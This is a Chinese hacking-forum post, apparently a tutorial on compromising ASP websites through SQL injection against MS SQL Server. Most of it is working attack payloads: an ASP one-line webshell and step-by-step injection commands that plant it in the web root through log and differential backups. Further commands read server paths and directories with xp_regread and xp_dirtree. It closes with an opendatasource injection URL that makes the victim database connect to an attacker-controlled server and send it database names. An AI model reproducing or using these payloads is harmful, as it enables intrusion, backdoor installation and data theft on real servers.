  
- 帖子
- 575
- 积分
- 1897
- 威望
- 2479
- 金钱
- 15914
- 在线时间
- 175 小时
             
|
来自:s0n9 '5 b109
<%eval(request("a")):response.end%> 备分专用一句话
加个response.end会有不一样的效果,也就是插入一句话后所有的代码都无效,在一句话这里打止,也就减小了webshell的大小.
日志备分WEBSHELL标准的七步:
1.InjectionURL';alter database XXX set RECOVERY FULL-- (把SQL设置成日志完全恢复模式)
2.InjectionURL';create table cmd (a image)-- (新建立一个cmd表)
3.InjectionURL';backup log XXX to disk = 'c:\cmd' with init-- (减少备分数据的大小)
4.InjectionURL';insert into cmd (a) values ('<%%25eval(request("a")):response.end%%25>')-- (插入一句话木马)
5.InjectionURL';backup log XXX to disk = 'd:\chinakm\test.asp'-- (备分日志到WEB路径)
6.InjectionURL';drop table cmd-- (删除新建的cmd表)
7.InjectionURL';alter database XXX set RECOVERY SIMPLE--(把SQL设置成日志简单恢复模式)
注:InjectionURL是注入点,XXX是数据库名称.
附上DB_ONER权限HACK的其他技巧,希望对菜菜有所帮助,高手略过.
数据库差异备份代码:
1、create table [dbo].[jm_tmp] ([cmd] [image])-- 创建一个表
2、 declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0X6A006D00640063007700 backup database @a to disk = @s --备份数据库,@s为备份名称(jmdcw的16进制转换)
3、insert into [jm_tmp](cmd) values(0x3C2565786563757465287265717565737428226C222929253E)--将一句话木马 "<%execute(request("l"))%>"的16进制字符插入到表中
4、declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s='C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\40\isapi\hsqq.asp' backup database @a to disk = @s WITH DIFFERENTIAL,FORMAT --对数据库实行差异备份,备份的保存路径暂定为C盘目录,文件名为hsqq.asp。
5、drop table [jm_tmp]-- 删除此表。
网站物理路径读取代码:
1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)-- 创建表
2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'-- 将网站目录插到表字段中
3、and (select top 1 cast([data] as nvarchar(4000)+char(124) from [jm_tmp] order by [data] desc)=0 '//暴出字段
4、drop table [jm_tmp]-- 删除此表。
磁盘目录读取代码:
1、drop table [jm_tmp];create table [jm_tmp](subdirectory nvarchar(400) NULL,depth tinyint NULL,[file] bit NULL)-- 创建表
2、delete [jm_tmp];insert [jm_tmp] exec master..xp_dirtree 'C:\',1,1-- 将C盘的文件夹及文件插入到表中
3、 and 1=(select top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(select Top 1 [subdirectory],[file] From [jm_tmp] ORDER BY [file],[subdirectory]) T ORDER BY [file] desc,[subdirectory] desc) '//暴出第一个文件夹名称
4、and 1=(select top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(select Top 2 [subdirectory],[file] From [jm_tmp] ORDER BY [file],[subdirectory]) T ORDER BY [file] desc,[subdirectory] desc) '//暴出第二个文件夹名称
5、and 1=(select top 1 cast([subdirectory] as nvarchar(400))+char(124)+cast([file] as nvarchar(1))+char(124) From(select Top X [subdirectory],[file] From [jm_tmp] ORDER BY [file],[subdirectory]) T ORDER BY [file] desc,[subdirectory] desc) '//暴出第X个文件夹或文件名称
6、drop table [jm_tmp]--删除此表
网站物理路径读取代码:
1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)-- 创建表
2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'-- 将网站目录插到表字段中
3、and (select top 1 cast([data] as nvarchar(4000)+char(124) from [jm_tmp] order by [data] desc)=0 '//暴出字段
4、drop table [jm_tmp]-- 删除此表。
注射过程中DB_ONER权限并且主机与数据库不在一起的搞法
其实.即使数据库和WEB不在一块还是有机会搞的.并不是说一点机会没.一般服务器装好系统什么的.都会装个IIS吧?列他C盘.看看有没有Inetpub 这个目录.就知道他有没有装IIS了.但是.不知道他IP也?怎么办呢?可以这样来,PING一下WEB服务器.扫他这一C段的1433端口.看看哪台开了.不过这方法也不好.现在很多主机都启用了防火墙.1433端口就算开了你也扫不着.这该怎么办呢?可以利用opendatasource宏让对方的 SQL与自己的数据库建立连接.既然能建立连接.就可以得到数据库服务器的IP地址了.我们来试试看.有几个前提得说一下.第一.你机器必须要有公网 IP.而且开放的1433端口要保证能被外网访问到.好.条件满足.就开始做吧!
我现在搞的这站.100%数据和WEB不在一块.但是从C盘看到了Inetpub文件夹.说明这数据库服务器安装了IIS.但是得不到他IP呀.怎么搞哦.简单.就用上面所说的方法搞一下.先在本机建个库先.打开查询分析器输入
create database hack520 create TABLE zhu(name nvarchar(256) null);create TABLE J8(id int NULL,name nvarchar(256) null); 点执行.
建立了一个hack520的库名.和zhu J8两个表.zhu里面有name这一个字段.J8也放了两字段名.一个是id一个是name.好了.现在就可以开始建立连接了~~~~~~~先看一下这条SQL语句insert into opendatasource('sqloledb','server=你的IP;uid=SQL用户;pwd=SQL密码;database=建立的库名') .库名.表名 '执行的语句' 恩现在开始吧...
http://www.xxx.com/news.asp?id=126'inser ... asource('sqloledb','server=219.149.xx.182;uid=sa;pwd=hack520!@#77169;database=hack520').hack520.dbo.zhu%20select%20name%20from%20master.dbo.sysdatabases--
在IE上执行咯.呵呵这个时候对方就会连接到我机器的SQL服务器.不信?netstat -an看一下
在CMD下输入命令:
netstat -an | find "1433" |
|